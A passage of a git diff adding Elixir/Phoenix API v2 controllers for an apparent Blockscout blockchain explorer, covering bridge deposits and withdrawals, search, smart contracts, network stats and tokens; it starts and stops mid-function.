deposits(conn, params) do + {deposits, next_page} = + params + |> paging_options() + |> Keyword.merge(@api_true) + |> Reader.deposits() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, deposits, params) + + conn + |> put_status(200) + |> render(:scroll_bridge_items, %{ + items: deposits, + next_page_params: next_page_params, + type: :deposits + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/deposits/count` endpoint. + """ + @spec deposits_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits_count(conn, _params) do + count = Reader.deposits_count(@api_true) + + conn + |> put_status(200) + |> render(:scroll_bridge_items_count, %{count: count}) + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/withdrawals` endpoint. + """ + @spec withdrawals(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals(conn, params) do + {withdrawals, next_page} = + params + |> paging_options() + |> Keyword.merge(@api_true) + |> Reader.withdrawals() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, withdrawals, params) + + conn + |> put_status(200) + |> render(:scroll_bridge_items, %{ + items: withdrawals, + next_page_params: next_page_params, + type: :withdrawals + }) + end + + @doc """ + Function to handle GET requests to `/api/v2/scroll/withdrawals/count` endpoint. + """ + @spec withdrawals_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals_count(conn, _params) do + count = Reader.withdrawals_count(@api_true) + + conn + |> put_status(200) + |> render(:scroll_bridge_items_count, %{count: count}) + end + + defp batch_latest_number do + case Reader.batch(:latest, @api_true) do + {:ok, batch} -> batch.number + {:error, :not_found} -> -1 + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/search_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/search_controller.ex new file mode 100644 index 000000000000..1b9bb7ebd08a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/search_controller.ex @@ -0,0 +1,53 @@ +defmodule BlockScoutWeb.API.V2.SearchController do + use Phoenix.Controller + + import BlockScoutWeb.Chain, only: [from_param: 1, fetch_scam_token_toggle: 2] + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens_info_to_search_results: 1] + + alias Explorer.Chain.Search + alias Explorer.PagingOptions + + @api_true [api?: true] + @min_query_length 3 + + def search(conn, %{"q" => query} = params) do + [paging_options: paging_options] = Search.parse_paging_options(params) + options = @api_true |> fetch_scam_token_toggle(conn) + + {search_results, next_page_params} = + paging_options |> Search.joint_search(query, options) + + conn + |> put_status(200) + |> render(:search_results, %{ + search_results: search_results |> maybe_preload_ens_info_to_search_results(), + next_page_params: next_page_params + }) + end + + def check_redirect(conn, %{"q" => query}) do + result = + query + |> String.trim() + |> from_param() + + conn + |> put_status(200) + |> render(:search_results, %{result: result}) + end + + def quick_search(conn, %{"q" => query}) when byte_size(query) < @min_query_length do + conn + |> put_status(200) + |> render(:search_results, %{search_results: []}) + end + + def quick_search(conn, %{"q" => query}) do + options = @api_true |> fetch_scam_token_toggle(conn) + search_results = Search.balanced_unpaginated_search(%PagingOptions{page_size: 50}, query, options) + + conn + |> put_status(200) + |> render(:search_results, %{search_results: search_results |> maybe_preload_ens_info_to_search_results()}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/shibarium_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/shibarium_controller.ex new file mode 100644 index 000000000000..a1e7532e54a3 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/shibarium_controller.ex @@ -0,0 +1,81 @@ +defmodule BlockScoutWeb.API.V2.ShibariumController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + paging_options: 1, + split_list_by_page: 1 + ] + + alias Explorer.Chain.Cache.Counters.Shibarium.DepositsAndWithdrawalsCount + alias Explorer.Chain.Shibarium.Reader + + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @spec deposits(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits(conn, params) do + {deposits, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Reader.deposits() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, deposits, params) + + conn + |> put_status(200) + |> render(:shibarium_deposits, %{ + deposits: deposits, + next_page_params: next_page_params + }) + end + + @spec deposits_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def deposits_count(conn, _params) do + count = + case @api_true |> DepositsAndWithdrawalsCount.deposits_count() |> Decimal.to_integer() do + 0 -> Reader.deposits_count(@api_true) + value -> value + end + + conn + |> put_status(200) + |> render(:shibarium_items_count, %{count: count}) + end + + @spec withdrawals(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals(conn, params) do + {withdrawals, next_page} = + params + |> paging_options() + |> Keyword.put(:api?, true) + |> Reader.withdrawals() + |> split_list_by_page() + + next_page_params = next_page_params(next_page, withdrawals, params) + + conn + |> put_status(200) + |> render(:shibarium_withdrawals, %{ + withdrawals: withdrawals, + next_page_params: next_page_params + }) + end + + @spec withdrawals_count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def withdrawals_count(conn, _params) do + count = + case @api_true |> DepositsAndWithdrawalsCount.withdrawals_count() |> Decimal.to_integer() do + 0 -> Reader.withdrawals_count(@api_true) + value -> value + end + + conn + |> put_status(200) + |> render(:shibarium_items_count, %{count: count}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/smart_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/smart_contract_controller.ex new file mode 100644 index 000000000000..0d984065f948 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/smart_contract_controller.ex @@ -0,0 +1,338 @@ +defmodule BlockScoutWeb.API.V2.SmartContractController do + use BlockScoutWeb, :controller + + use Utils.RuntimeEnvHelper, + chain_type: [:explorer, :chain_type] + + import BlockScoutWeb.Chain, + only: [ + fetch_scam_token_toggle: 2, + next_page_params: 4, + split_list_by_page: 1 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + current_filter: 1, + search_query: 1 + ] + + import Explorer.PagingOptions, + only: [ + default_paging_options: 0 + ] + + import Explorer.Helper, + only: [ + parse_integer: 1, + safe_parse_non_negative_integer: 1 + ] + + alias BlockScoutWeb.AccessHelper + alias Explorer.Chain + alias Explorer.Chain.{Address, SmartContract} + alias Explorer.Chain.SmartContract.AuditReport + alias Explorer.SmartContract.Helper, as: SmartContractHelper + alias Explorer.SmartContract.Solidity.PublishHelper + alias Explorer.ThirdPartyIntegrations.SolidityScan + + @api_true [api?: true] + + @spec contract_creation_transaction_associations() :: [keyword()] + defp contract_creation_transaction_associations do + case chain_type() do + :filecoin -> + Address.contract_creation_transaction_with_from_address_associations() + + _ -> + Address.contract_creation_transaction_associations() + end + end + + @spec smart_contract_address_options() :: keyword() + defp smart_contract_address_options do + [ + necessity_by_association: %{ + [smart_contract: :smart_contract_additional_sources] => :optional, + contract_creation_transaction_associations() => :optional + } + ] + |> Keyword.merge(@api_true) + end + + @spec verified_smart_contract_addresses_options() :: keyword() + defp verified_smart_contract_addresses_options do + [ + necessity_by_association: %{ + [:token, :names, :proxy_implementations] => :optional, + contract_creation_transaction_associations() => :optional + } + ] + |> Keyword.merge(@api_true) + end + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + def smart_contract(conn, %{"address_hash" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + _ <- PublishHelper.sourcify_check(address_hash_string), + {:not_found, {:ok, address}} <- + {:not_found, Chain.find_contract_address(address_hash, smart_contract_address_options())} do + implementations = SmartContractHelper.pre_fetch_implementations(address) + + conn + |> put_status(200) + |> render(:smart_contract, %{address: %Address{address | proxy_implementations: implementations}}) + end + end + + @doc """ + /api/v2/smart-contracts/:address_hash_string/solidityscan-report logic + """ + @spec solidityscan_report(Plug.Conn.t(), map()) :: + {:address, {:error, :not_found}} + | {:format_address, :error} + | {:is_empty_response, true} + | {:is_smart_contract, false | nil} + | {:restricted_access, true} + | {:is_verified_smart_contract, false} + | {:language, :vyper} + | Plug.Conn.t() + def solidityscan_report(conn, %{"address_hash" => address_hash_string} = params) do + with {:format_address, {:ok, address_hash}} <- {:format_address, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:address, {:ok, address}} <- {:address, Chain.hash_to_address(address_hash)}, + {:is_smart_contract, true} <- {:is_smart_contract, Address.smart_contract?(address)}, + smart_contract = SmartContract.address_hash_to_smart_contract(address_hash, @api_true), + {:is_verified_smart_contract, true} <- {:is_verified_smart_contract, !is_nil(smart_contract)}, + {:language, language} when language != :vyper <- {:language, SmartContract.language(smart_contract)}, + response = SolidityScan.solidityscan_request(address_hash_string), + {:is_empty_response, false} <- {:is_empty_response, is_nil(response)} do + conn + |> put_status(200) + |> json(response) + end + end + + def smart_contracts_list(conn, params) do + full_options = + verified_smart_contract_addresses_options() + |> Keyword.merge(current_filter(params)) + |> Keyword.merge(search_query(params)) + |> Keyword.merge(smart_contract_addresses_paging_options(params)) + |> Keyword.merge(smart_contract_addresses_sorting(params)) + |> fetch_scam_token_toggle(conn) + + addresses_plus_one = SmartContract.verified_contract_addresses(full_options) + {addresses, next_page} = split_list_by_page(addresses_plus_one) + + # If no sorting options are provided, we sort by `id` descending only. If + # there are some sorting options supplied, we sort by `:hash` ascending as a + # secondary key. + pager = + full_options + |> Keyword.get(:sorting) + |> if do + &smart_contract_addresses_paging_params/1 + else + &%{smart_contract_id: &1.smart_contract.id} + end + + next_page_params = + next_page + |> next_page_params( + addresses, + params, + pager + ) + + conn + |> put_status(200) + |> render(:smart_contracts, %{ + addresses: addresses, + next_page_params: next_page_params + }) + end + + @doc """ + Builds paging options for smart contract addresses based on request + parameters. + + ## Returns + If 'hash', 'transactions_count', and 'coin_balance' parameters are provided, + uses them as pagination keys for address-based sorting. If 'smart_contract_id' + parameter is provided, uses it as pagination key for smart contract ID-based + sorting. Otherwise, returns default paging options. + + ## Examples + iex> smart_contract_addresses_paging_options(%{"hash" => "0x123...", "transactions_count" => "100", "coin_balance" => "1000"}) + [paging_options: %{key: %{hash: ..., transactions_count: 100, fetched_coin_balance: 1000}}] + + iex> smart_contract_addresses_paging_options(%{"smart_contract_id" => "42"}) + [paging_options: %{key: %{id: 42}}] + + iex> smart_contract_addresses_paging_options(%{}) + [paging_options: %{}] + """ + @spec smart_contract_addresses_paging_options(%{required(String.t()) => String.t()}) :: + [paging_options: map()] + def smart_contract_addresses_paging_options(params) do + options = do_smart_contract_addresses_paging_options(params) + [paging_options: default_paging_options() |> Map.merge(options)] + end + + @spec do_smart_contract_addresses_paging_options(%{required(String.t()) => String.t()}) :: map() + defp do_smart_contract_addresses_paging_options(%{"hash" => hash_string} = params) do + hash_string + |> Chain.string_to_address_hash() + |> case do + {:ok, address_hash} -> + transactions_count = parse_integer(params["transactions_count"]) + coin_balance = parse_integer(params["coin_balance"]) + + %{ + key: %{ + hash: address_hash, + transactions_count: transactions_count, + fetched_coin_balance: coin_balance + } + } + + _ -> + %{} + end + end + + defp do_smart_contract_addresses_paging_options(%{"smart_contract_id" => smart_contract_id}) do + smart_contract_id + |> safe_parse_non_negative_integer() + |> case do + {:ok, id} -> %{key: %{id: id}} + _ -> %{} + end + end + + defp do_smart_contract_addresses_paging_options(_params), do: %{} + + @doc """ + Extracts pagination parameters from an Address struct for use in the next page + URL. + + ## Returns + A map with string keys that can be used as query parameters. + + ## Examples + iex> address = %Explorer.Chain.Address{hash: "0x123...", transactions_count: 100, fetched_coin_balance: 1000} + iex> smart_contract_addresses_paging_params(address) + %{"hash" => "0x123...", "transactions_count" => 100, "coin_balance" => 1000} + """ + @spec smart_contract_addresses_paging_params(Explorer.Chain.Address.t()) :: %{ + required(String.t()) => any() + } + def smart_contract_addresses_paging_params(%Explorer.Chain.Address{ + hash: address_hash, + transactions_count: transactions_count, + fetched_coin_balance: coin_balance + }) do + %{ + "hash" => address_hash, + "transactions_count" => transactions_count, + "coin_balance" => coin_balance + } + end + + @spec smart_contract_addresses_sorting(%{required(String.t()) => String.t()}) :: [ + {:sorting, list()} + ] + defp smart_contract_addresses_sorting(%{"sort" => sort_field, "order" => order}) do + {sort_field, order} + |> case do + {"balance", "asc"} -> {:ok, [{:asc_nulls_first, :fetched_coin_balance}]} + {"balance", "desc"} -> {:ok, [{:desc_nulls_last, :fetched_coin_balance}]} + {"transactions_count", "asc"} -> {:ok, [{:asc_nulls_first, :transactions_count}]} + {"transactions_count", "desc"} -> {:ok, [{:desc_nulls_last, :transactions_count}]} + _ -> :error + end + |> case do + {:ok, sorting_params} -> + [sorting: sorting_params] + + :error -> + [] + end + end + + defp smart_contract_addresses_sorting(_), do: [] + + @doc """ + POST /api/v2/smart-contracts/{address_hash}/audit-reports + """ + @spec audit_report_submission(Plug.Conn.t(), map()) :: + {:error, Ecto.Changeset.t()} + | {:format, :error} + | {:not_found, nil | Explorer.Chain.SmartContract.t()} + | {:recaptcha, any()} + | {:restricted_access, true} + | Plug.Conn.t() + def audit_report_submission(conn, %{"address_hash" => address_hash_string} = params) do + with {:disabled, true} <- {:disabled, Application.get_env(:explorer, :air_table_audit_reports)[:enabled]}, + {:ok, address_hash, _smart_contract} <- validate_smart_contract(params, address_hash_string), + audit_report_params <- %{ + address_hash: address_hash, + submitter_name: params["submitter_name"], + submitter_email: params["submitter_email"], + is_project_owner: params["is_project_owner"], + project_name: params["project_name"], + project_url: params["project_url"], + audit_company_name: params["audit_company_name"], + audit_report_url: params["audit_report_url"], + audit_publish_date: params["audit_publish_date"], + comment: params["comment"] + }, + {:ok, _} <- AuditReport.create(audit_report_params) do + conn + |> put_status(200) + |> json(%{message: "OK"}) + end + end + + @doc """ + GET /api/v2/smart-contracts/{address_hash}/audit-reports + """ + @spec audit_reports_list(Plug.Conn.t(), map()) :: + {:format, :error} + | {:not_found, nil | Explorer.Chain.SmartContract.t()} + | {:restricted_access, true} + | Plug.Conn.t() + def audit_reports_list(conn, %{"address_hash" => address_hash_string} = params) do + with {:ok, address_hash, _smart_contract} <- validate_smart_contract(params, address_hash_string) do + reports = AuditReport.get_audit_reports_by_smart_contract_address_hash(address_hash, @api_true) + + conn + |> render(:audit_reports, %{reports: reports}) + end + end + + def smart_contracts_counters(conn, _params) do + conn + |> json(%{ + smart_contracts: Chain.count_contracts_from_cache(@api_true), + new_smart_contracts_24h: Chain.count_new_contracts_from_cache(@api_true), + verified_smart_contracts: Chain.count_verified_contracts_from_cache(@api_true), + new_verified_smart_contracts_24h: Chain.count_new_verified_contracts_from_cache(@api_true) + }) + end + + def prepare_args(list) when is_list(list), do: list + def prepare_args(other), do: [other] + + defp validate_smart_contract(params, address_hash_string) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {smart_contract, _}} when not is_nil(smart_contract) <- + {:not_found, SmartContract.address_hash_to_smart_contract_with_bytecode_twin(address_hash, @api_true)} do + {:ok, address_hash, smart_contract} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/stats_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/stats_controller.ex new file mode 100644 index 000000000000..d868faecbf97 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/stats_controller.ex @@ -0,0 +1,206 @@ +defmodule BlockScoutWeb.API.V2.StatsController do + use Phoenix.Controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.API.V2.Helper + alias BlockScoutWeb.Chain.MarketHistoryChartController + alias Explorer.{Chain, Market} + alias Explorer.Chain.Cache.GasPriceOracle + alias Explorer.Chain.Cache.Counters.{AddressesCount, AverageBlockTime, BlocksCount, GasUsageSum, TransactionsCount} + alias Explorer.Chain.Supply.RSK + alias Explorer.Chain.Transaction.History.TransactionStats + alias Plug.Conn + alias Timex.Duration + + @api_true [api?: true] + + def stats(conn, _params) do + market_cap_type = + case Application.get_env(:explorer, :supply) do + RSK -> + RSK + + _ -> + :standard + end + + exchange_rate = Market.get_coin_exchange_rate() + secondary_coin_exchange_rate = Market.get_secondary_coin_exchange_rate() + + transaction_stats = Helper.get_transaction_stats() + + gas_prices = + case GasPriceOracle.get_gas_prices() do + {:ok, gas_prices} -> + gas_prices + + _ -> + nil + end + + coin_price_change = + case Market.fetch_recent_history() do + [_today, yesterday | _] -> + exchange_rate.fiat_value && yesterday.closing_price && + exchange_rate.fiat_value + |> Decimal.div(yesterday.closing_price) + |> Decimal.sub(1) + |> Decimal.mult(100) + |> Decimal.to_float() + |> Float.ceil(2) + + _ -> + nil + end + + gas_price = Application.get_env(:block_scout_web, :gas_price) + + json( + conn, + %{ + "total_blocks" => BlocksCount.get() |> to_string(), + "total_addresses" => AddressesCount.fetch() |> to_string(), + "total_transactions" => TransactionsCount.get() |> to_string(), + "average_block_time" => AverageBlockTime.average_block_time() |> Duration.to_milliseconds(), + "coin_image" => exchange_rate.image_url, + "secondary_coin_image" => secondary_coin_exchange_rate.image_url, + "coin_price" => exchange_rate.fiat_value, + "coin_price_change_percentage" => coin_price_change, + "secondary_coin_price" => secondary_coin_exchange_rate.fiat_value, + "total_gas_used" => GasUsageSum.total() |> to_string(), + "transactions_today" => Enum.at(transaction_stats, 0).number_of_transactions |> to_string(), + "gas_used_today" => Enum.at(transaction_stats, 0).gas_used, + "gas_prices" => gas_prices, + "gas_prices_update_in" => GasPriceOracle.update_in(), + "gas_price_updated_at" => GasPriceOracle.get_updated_at(), + "static_gas_price" => gas_price, + "market_cap" => Helper.market_cap(market_cap_type, exchange_rate), + "tvl" => exchange_rate.tvl, + "network_utilization_percentage" => network_utilization_percentage() + } + |> add_chain_type_fields() + |> backward_compatibility(conn) + ) + end + + defp network_utilization_percentage do + {gas_used, gas_limit} = + Enum.reduce(Chain.list_blocks(), {Decimal.new(0), Decimal.new(0)}, fn block, {gas_used, gas_limit} -> + {Decimal.add(gas_used, block.gas_used), Decimal.add(gas_limit, block.gas_limit)} + end) + + if Decimal.compare(gas_limit, 0) == :eq, + do: 0, + else: gas_used |> Decimal.div(gas_limit) |> Decimal.mult(100) |> Decimal.to_float() + end + + def transactions_chart(conn, _params) do + [{:history_size, history_size}] = + Application.get_env(:block_scout_web, BlockScoutWeb.Chain.TransactionHistoryChartController, [{:history_size, 30}]) + + today = Date.utc_today() + latest = Date.add(today, -1) + earliest = Date.add(latest, -1 * history_size) + + date_range = TransactionStats.by_date_range(earliest, latest, @api_true) + + transaction_history_data = + date_range + |> Enum.map(fn row -> + %{date: row.date, transactions_count: row.number_of_transactions} + end) + + json(conn, %{ + chart_data: transaction_history_data + }) + end + + def market_chart(conn, _params) do + exchange_rate = Market.get_coin_exchange_rate() + + recent_market_history = Market.fetch_recent_history() + current_total_supply = MarketHistoryChartController.available_supply(Chain.supply_for_days(), exchange_rate) + + price_history_data = + recent_market_history + |> case do + [today | the_rest] -> + [ + %{ + today + | closing_price: exchange_rate.fiat_value + } + | the_rest + ] + + data -> + data + end + |> Enum.map(fn day -> Map.take(day, [:closing_price, :market_cap, :tvl, :date]) end) + + market_history_data = + MarketHistoryChartController.encode_market_history_data(price_history_data, current_total_supply) + + json(conn, %{ + chart_data: market_history_data, + # todo: remove when new frontend is ready to use data from chart_data property only + available_supply: current_total_supply + }) + end + + def secondary_coin_market_chart(conn, _params) do + recent_market_history = Market.fetch_recent_history(true) + + chart_data = + recent_market_history + |> Enum.map(fn day -> Map.take(day, [:closing_price, :date]) end) + + json(conn, %{ + chart_data: chart_data + }) + end + + defp backward_compatibility(response, conn) do + case Conn.get_req_header(conn, "updated-gas-oracle") do + ["true"] -> + response + + _ -> + response + |> Map.update("gas_prices", nil, fn + gas_prices -> + %{slow: gas_prices[:slow][:price], average: gas_prices[:average][:price], fast: gas_prices[:fast][:price]} + end) + end + end + + case @chain_type do + :rsk -> + defp add_chain_type_fields(response) do + alias Explorer.Chain.Cache.Counters.Rootstock.LockedBTCCount + + case LockedBTCCount.get_locked_value() do + rootstock_locked_btc when not is_nil(rootstock_locked_btc) -> + response |> Map.put("rootstock_locked_btc", rootstock_locked_btc) + + _ -> + response + end + end + + :optimism -> + defp add_chain_type_fields(response) do + import Explorer.Chain.Cache.Counters.Optimism.LastOutputRootSizeCount, only: [fetch: 1] + response |> Map.put("last_output_root_size", fetch(@api_true)) + end + + :celo -> + defp add_chain_type_fields(response) do + alias Explorer.Chain.Cache.CeloEpochs + response |> Map.put("celo", %{"epoch_number" => CeloEpochs.last_block_epoch_number()}) + end + + _ -> + defp add_chain_type_fields(response), do: response + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_controller.ex new file mode 100644 index 000000000000..384ce30b88f5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/token_controller.ex @@ -0,0 +1,442 @@ +defmodule BlockScoutWeb.API.V2.TokenController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.API.V2.{AddressView, TransactionView} + alias Explorer.{Chain, Helper, PagingOptions} + alias Explorer.Chain.{Address, BridgedToken, Token, Token.Instance} + alias Explorer.Migrator.BackfillMetadataURL + alias Indexer.Fetcher.OnDemand.NFTCollectionMetadataRefetch, as: NFTCollectionMetadataRefetchOnDemand + alias Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch, as: TokenInstanceMetadataRefetchOnDemand + alias Indexer.Fetcher.OnDemand.TokenTotalSupply, as: TokenTotalSupplyOnDemand + + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + import BlockScoutWeb.Chain, + only: [ + split_list_by_page: 1, + paging_options: 1, + next_page_params: 3, + token_transfers_next_page_params: 3, + unique_tokens_paging_options: 1, + unique_tokens_next_page: 3, + fetch_scam_token_toggle: 2 + ] + + import BlockScoutWeb.PagingHelper, + only: [ + chain_ids_filter_options: 1, + token_transfers_types_options: 1, + tokens_sorting: 1 + ] + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + import Explorer.PagingOptions, only: [default_paging_options: 0] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @token_options [api?: true, necessity_by_association: %{reputation_association() => :optional}] + + def token(conn, %{"address_hash_param" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @token_options)} do + TokenTotalSupplyOnDemand.trigger_fetch(ip, address_hash) + + conn + |> token_response(token, address_hash) + end + end + + if @bridged_tokens_enabled do + defp token_response(conn, token, address_hash) do + if token.bridged do + bridged_token = + Chain.select_repo(@api_true).get_by(BridgedToken, home_token_contract_address_hash: address_hash) + + conn + |> put_status(200) + |> render(:bridged_token, %{token: {token, bridged_token}}) + else + conn + |> put_status(200) + |> render(:token, %{token: token}) + end + end + else + defp token_response(conn, token, _address_hash) do + conn + |> put_status(200) + |> render(:token, %{token: token}) + end + end + + def counters(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, true} <- {:not_found, Token.by_contract_address_hash_exists?(address_hash, @api_true)} do + {transfers_count, holders_count} = Chain.fetch_token_counters(address_hash, 30_000) + + json(conn, %{transfers_count: to_string(transfers_count), token_holders_count: to_string(holders_count)}) + end + end + + def transfers(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, true} <- {:not_found, Token.by_contract_address_hash_exists?(address_hash, @api_true)} do + paging_options = paging_options(params) + + results = + address_hash + |> Chain.fetch_token_transfers_from_token_hash(Keyword.merge(@api_true, paging_options)) + |> Chain.flat_1155_batch_token_transfers() + |> Chain.paginate_1155_batch_token_transfers(paging_options) + + {token_transfers, next_page} = split_list_by_page(results) + + next_page_params = + next_page + |> token_transfers_next_page_params(token_transfers, params) + + conn + |> put_status(200) + |> put_view(TransactionView) + |> render(:token_transfers, %{ + token_transfers: + token_transfers |> Instance.preload_nft(@api_true) |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + def holders(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, true} <- {:not_found, Token.by_contract_address_hash_exists?(address_hash, @api_true)} do + results_plus_one = + Chain.fetch_token_holders_from_token_hash(address_hash, Keyword.merge(paging_options(params), @api_true)) + + {token_balances, next_page} = split_list_by_page(results_plus_one) + + next_page_params = next_page |> next_page_params(token_balances, params) + + conn + |> put_status(200) + |> render(:token_holders, %{ + token_balances: token_balances |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + def instances( + conn, + %{"address_hash_param" => address_hash_string, "holder_address_hash" => holder_address_hash_string} = params + ) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @token_options)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {:ok, holder_address_hash}} <- {:format, Chain.string_to_address_hash(holder_address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(holder_address_hash_string, params) do + holder_address = Address.get(holder_address_hash, @api_true) + + holder_address_with_proxy_implementations = + holder_address && %Address{holder_address | proxy_implementations: nil} + + results_plus_one = + Instance.token_instances_by_holder_address_hash( + token, + holder_address_hash, + params + |> unique_tokens_paging_options() + |> Keyword.merge(@api_true) + ) + + {token_instances, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page |> unique_tokens_next_page(token_instances, params) + + conn + |> put_status(200) + |> put_view(AddressView) + |> render(:nft_list, %{ + token_instances: + token_instances + |> put_owner(holder_address_with_proxy_implementations, holder_address_hash) + |> maybe_preload_ens() + |> maybe_preload_metadata(), + next_page_params: next_page_params, + token: token + }) + end + end + + def instances(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @token_options)} do + results_plus_one = + Instance.address_to_unique_tokens( + token.contract_address_hash, + token, + Keyword.merge(unique_tokens_paging_options(params), @api_true) + ) + + {token_instances, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page |> unique_tokens_next_page(token_instances, params) + + conn + |> put_status(200) + |> render(:token_instances, %{ + token_instances: token_instances |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params, + token: token + }) + end + end + + def instance(conn, %{"address_hash_param" => address_hash_string, "token_id" => token_id_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @token_options)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {token_id, ""}} <- {:format, Integer.parse(token_id_string)}, + {:ok, token_instance} <- + Instance.nft_instance_by_token_id_and_token_address(token_id, address_hash, @api_true) do + fill_metadata_url_task = maybe_run_fill_metadata_url_task(token_instance, token) + + token_instance = + token_instance + |> Chain.select_repo(@api_true).preload(owner: [:names, :smart_contract, proxy_implementations_association()]) + |> Instance.put_owner_to_token_instance(token, @api_true) + + updated_token_instance = + case fill_metadata_url_task && (Task.yield(fill_metadata_url_task) || Task.ignore(fill_metadata_url_task)) do + {:ok, [%{error: error}]} when not is_nil(error) -> + %Instance{token_instance | metadata: nil} + + _ -> + token_instance + end + + conn + |> put_status(200) + |> render(:token_instance, %{ + token_instance: updated_token_instance, + token: token + }) + end + end + + defp maybe_run_fill_metadata_url_task(token_instance, token) do + if not is_nil(token_instance.metadata) && is_nil(token_instance.skip_metadata_url) do + Task.async(fn -> + BackfillMetadataURL.update_batch([ + {token_instance.token_contract_address_hash, token_instance.token_id, token.type} + ]) + end) + else + nil + end + end + + def transfers_by_instance( + conn, + %{"address_hash_param" => address_hash_string, "token_id" => token_id_string} = params + ) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)}, + {:not_found, false} <- {:not_found, Chain.erc_20_token?(token)}, + {:format, {token_id, ""}} <- {:format, Integer.parse(token_id_string)} do + paging_options = paging_options(params) + + results = + address_hash + |> Chain.fetch_token_transfers_from_token_hash_and_token_id(token_id, Keyword.merge(paging_options, @api_true)) + 